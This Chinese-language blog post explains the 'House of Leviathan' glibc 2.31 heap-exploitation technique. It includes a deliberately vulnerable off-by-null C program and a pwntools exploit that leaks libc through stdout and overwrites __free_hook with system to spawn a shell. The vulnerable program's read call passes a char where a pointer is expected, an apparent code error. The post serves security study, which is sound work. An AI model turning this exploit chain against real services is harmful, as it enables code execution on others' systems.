House of Leviathan



在64位较高版本ptmalloc2堆利用中,如果我们可以至少做到如下几点:

  1. 存在分配堆块的函数add,可以被调用若干次,每次能分配大/小堆块。
  2. 存在释放上述已分配堆块的函数delete,可以被调用若干次。
  3. add函数不会在输入数据末尾引入\0
  4. add函数可以将下一个堆块的PREV_INUSE位置零。
  5. add函数保留堆块上的脏内容,也即不初始化堆块数据。

那么我们可以采用House of Leviathan的攻击手法,在不依赖于show函数的情况下利用unlink构造堆块的重叠。


House of Leviathan是一种主要基于Large Bin堆块中fd_nextsizebk_nextsize的利用手法。思路如下:

  1. 布置Large Bin某一项的内容为:
    fd: LargeBin[idx] -> Chunk1 -> Chunk2 -> LargeBin[idx]
    bk: LargeBin[idx] -> Chunk2 -> Chunk1 -> LargeBin[idx]
    fd_nextsize: Chunk1 -> Chunk2 -> Chunk1
    bk_nextsize: Chunk1 -> Chunk2 -> Chunk1
    Chunk1[0x20:0x28]Chunk2[0x20:0x28]全为零。
  2. 分配一个实际大小超过0x30的堆块Chunk2_,将Chunk2切分一部分出来。
  3. 释放Chunk2后紧邻的已分配堆块,并使合并后的堆块重新进入Large Bin,使Large Bin的布局回到与第一步类似的状态。
  4. 分配一个堆块,使得Chunk1从Large Bin中脱链供我们使用。
  5. 在先前的几步中预先篡改好Chunk2_的开头几个字节,使得Chunk2_->fd == 0Chunk2_->bk == fake_sizeChunk2_->fd_nextsize == Chunk1 - 0x8。篡改好Chunk1的开头几个字节,使得Chunk1->fd == Chunk2_->fd
  6. 此时&Chunk2_->fd就是一个合法的假堆块FakeChunk了,它满足
    FakeChunk->fd->bk == FakeChunk &&
    FakeChunk->bk->fd == FakeChunk &&
    FakeChunk->fd_nextsize == 0
    伪造好fake_size的值,在远处(FakeChunk + fake_size处)预先布置一个堆块Chunk3,构造Chunk3->prev_size == fake_size,通过add函数的置零漏洞将Chunk3PREV_INUSE位置零。
  7. 释放Chunk3,触发合法的向后合并,在FakeChunkChunk3之间可以构造重叠的堆块,进一步地篡改重叠堆块的相关指针来完成后续利用(如通过篡改文件结构体泄露libc基址、任意读写等)。

House of Leviathan的名字取自于对堆块的利用。

以GLIBC 2.31环境中的下题为例,

// pwn.c

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <unistd.h>

#define NCHUNKS 15

char* chunks[NCHUNKS] = {0,};
size_t sizes[NCHUNKS] = {0,};

void init() {
	setvbuf(stderr, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
}

void menu() {
	printf(
		"1. Add\n"
		"2. Delete\n"
		"3. Bye~\n"
		">>> "
	);
}

void add() {
	unsigned int size;
	unsigned int i;
	for (i=0; i<NCHUNKS; ++i) {
		if (!chunks[i]) break;
	}
	if (i >= NCHUNKS) exit(1);
	printf("Size: ");
	scanf("%u", &size);
	if (size > 0x550) exit(1);
	chunks[i] = (char*)malloc(size);
	sizes[i] = (size_t)size;
	printf("Content: ");
	char buf;
	for (unsigned int j=0; j<size; ++j) {
		if (read(0, buf, 1) < 0) exit(-1);
		if (buf == '\n') break;
		chunks[i][j] = buf;
	}
	chunks[i][size] = 0;
}

void delete() {
	printf("Index: ");
	unsigned int index;
	scanf("%u", &index);
	if (index >= NCHUNKS) exit(1);
	if (!chunks[index]) exit(1);
	free(chunks[index]);
	chunks[index] = NULL;
	sizes[index] = 0;
}

int main() {
	init();
	int option;
	
	while (1) {
		menu();
		scanf("%d", &option);
		switch (option) {
			case 1:
				add();
				break;
			case 2:
				delete();
				break;
			case 3:
				exit(0);
			default:
				puts("Invalid option.");
				break;
		}
	}
	
	return 0;
}
#!/bin/sh

LIBC="/path/to/your/glibc_2.31/libc.so"
LD="/path/to/your/glibc_2.31/ld.so"

gcc -o pwn "$LIBC" pwn.c -z now -fPIE -fstack-protector-all
patchelf --replace-needed libc.so.6 "$LIBC" --set-interpreter "$LD" pwn

本题中我们只需要利用一次off-by-null就可以完成House of Leviathan攻击了。成功构造出堆叠后,利用GLIBC 2.31中tcache bin的特性采用tcache poisoning完成任意写。为了获得libc基址,我们可以篡改_IO_2_1_stdout_结构体,从而在调用_IO_new_file_overflownew_do_write的过程中泄露从_IO_write_base开始一直到_IO_write_ptr的内容。最后再次使用tcache poisoning劫持__free_hook即可。

exp的核心部分大致如下,我们只需要爆破堆地址的第12~15位以及_IO_2_1_stdout_地址的第12~15位即可,在发送的任何地址中不包含\n的情况下成功率为1/256

while 1:
    try:
        getelf()
        getio(process)

        add(0x490, b'a')    # 0
        add(0x500, b'a')    # 1
        add(0x480, b'a')    # 2
        add(0x410, b'a')    # 3

        delete(0)
        delete(2)
        add(0x4f0, b'a')    # 0

        heap_base_nibble_3 = 3
        delta = heap_base_nibble_3 << 12

        add(0x410, p64(0) + p64(0x8a1) + p16(delta + 0x2a0 - 0x18))     # 2
        delete(3)
        add(0x500, b'a')    # 3

        add(0x490, p16(0xc50 + delta))     # 4

        add(0x60, b'a')     # 5
        add(0x60, b'a')     # 6
        add(0x50, b'a')     # 7
        add(0x50, b'a')     # 8
        delete(6)
        delete(5)
        add(0x418-0x70-0x60*2, b'\0'*(0x410-0x70-0x60*2) + p64(0x8a0))  # 5
        delete(0)
        add(0x400, b'a')    # 0

        add(0x70, p16(libc.sym['_IO_2_1_stdout_'] & 0xffff))    # 6
        add(0x60, b'')  # 9
        add(0x60, p64(0xfbad1800) + p64(0)*3 + b'\0')   # 10
        
        set_libc_base(uu64(ru(b'\x7f', timeout=1)[-6:]) - 0x1ec980)
        assert libc_base & 0xfff == 0 and libc_base > 0

        delete(7)
        delete(8)
        add(0xe0, b'\0'*0xc0 + p64(libc.sym['__free_hook']))   # 7
        add(0x50, b'/bin/sh')   # 8
        add(0x50, p64(libc.sym['system']))  # 11
        delete(8)
        
        itr()
        
        break
    except (EOFError, TimeoutError, AssertionError):
        die()
        continue



















Tags: #BinaryExploitation, #HeapExploitation, #HouseOfXXX

Time: 2025-07-11 20:40